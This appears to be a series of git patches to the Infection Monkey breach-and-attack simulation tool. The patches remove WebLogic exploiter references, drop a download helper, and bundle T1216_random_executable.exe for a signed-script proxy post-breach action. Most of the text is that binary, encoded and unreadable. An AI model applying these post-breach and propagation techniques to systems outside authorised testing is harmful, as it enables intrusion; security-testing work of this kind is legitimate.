Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 14:07:45 +0200 Subject: [PATCH 1075/1110] Project: Remove WebLogic references --- README.md | 1 - vulture_allowlist.py | 2 -- 2 files changed, 3 deletions(-) diff --git a/README.md b/README.md index 6b427e036..e93bd3838 100644 --- a/README.md +++ b/README.md @@ -48,7 +48,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to * WMI * Log4Shell * Zerologon - * Weblogic server * and more, see our [Documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/) for more information about our RCE exploiters. ## Setup diff --git a/vulture_allowlist.py b/vulture_allowlist.py index be87c4dcd..c8c1378d4 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -56,7 +56,6 @@ credential_type # unused variable (monkey/monkey_island/cc/services/reporting/i password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23) SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30) SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) -WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43) MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44) VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45) @@ -79,7 +78,6 @@ _.do_POST # unused method (monkey/infection_monkey/transport/http.py:122) _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) _.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) -_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) PowerShellExploiter # (monkey\infection_monkey\exploit\powershell.py:27) ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) From 5228af2a699c1f52fd2b3a800fa892197284bde9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 14:40:24 +0200 Subject: [PATCH 1076/1110] Changelog: Add entry for removal of WebLogic exploiter --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 48213ad9b..9864ad9d8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -58,6 +58,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - "smb_service_name" option. #1741 - Struts2 exploiter. #1869 - Drupal exploiter. #1869 +- WebLogic exploiter. #1869 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From ad0cb20e35677ea11dcedce999d263712131bf73 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Apr 2022 11:59:21 -0400 Subject: [PATCH 1077/1110] Agent: Package T1216_random_executable.exe with the agent Packaging the T1216_random_executable.exe binary with the agent removes coupling between the island's API and a specific post-breach action. --- CHANGELOG.md | 2 ++ monkey/infection_monkey/control.py | 18 ------------- .../post_breach/actions/use_signed_scripts.py | 2 ++ .../T1216_random_executable.exe | Bin 0 -> 1123840 bytes .../signed_script_proxy.py | 15 +++++++++-- .../windows/signed_script_proxy.py | 24 +++++------------- 6 files changed, 24 insertions(+), 37 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/signed_script_proxy/T1216_random_executable.exe diff --git a/CHANGELOG.md b/CHANGELOG.md index 9864ad9d8..a87f42c23 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -65,6 +65,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Windows "run as a user" powershell command for manual agent runs. #1570 - A bug in the "Signed Script Proxy Execution" PBA that downloaded the exe on Linux systems as well. #1557 +- A bug where T1216_random_executable.exe was copied to disk even if the signed + script proxy execution PBA was disabled. #1864 ### Security diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 985c8e984..52b8e0db8 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -3,13 +3,11 @@ import logging import platform from pprint import pformat from socket import gethostname -from urllib.parse import urljoin import requests from requests.exceptions import ConnectionError import infection_monkey.tunnel as tunnel -from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import get_host_subnets, local_ips @@ -265,19 +263,3 @@ class ControlClient(object): ) except requests.exceptions.RequestException: return False - - @staticmethod - def get_T1216_pba_file(): - try: - return requests.get( # noqa: DUO123 - urljoin( - f"https://{WormConfiguration.current_server}/", - T1216_PBA_FILE_DOWNLOAD_PATH, - ), - verify=False, - proxies=ControlClient.proxies, - stream=True, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - except requests.exceptions.RequestException: - return False diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index a9224a977..9699e6628 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -7,6 +7,7 @@ from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, SHORT_REQUEST_ from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ( cleanup_changes, + copy_executable_to_cwd, get_commands_to_proxy_execution_using_signed_script, ) from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger @@ -29,6 +30,7 @@ class SignedScriptProxyExecution(PBA): original_comspec = "" try: if is_windows_os(): + copy_executable_to_cwd() original_comspec = subprocess.check_output( # noqa: DUO116 "if defined COMSPEC echo %COMSPEC%", shell=True, timeout=SHORT_REQUEST_TIMEOUT ).decode() diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/T1216_random_executable.exe b/monkey/infection_monkey/post_breach/signed_script_proxy/T1216_random_executable.exe new file mode 100644 index 0000000000000000000000000000000000000000..88335be708f55d6199834cedfc7ed39f96f5b68e GIT binary patch literal 1123840 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 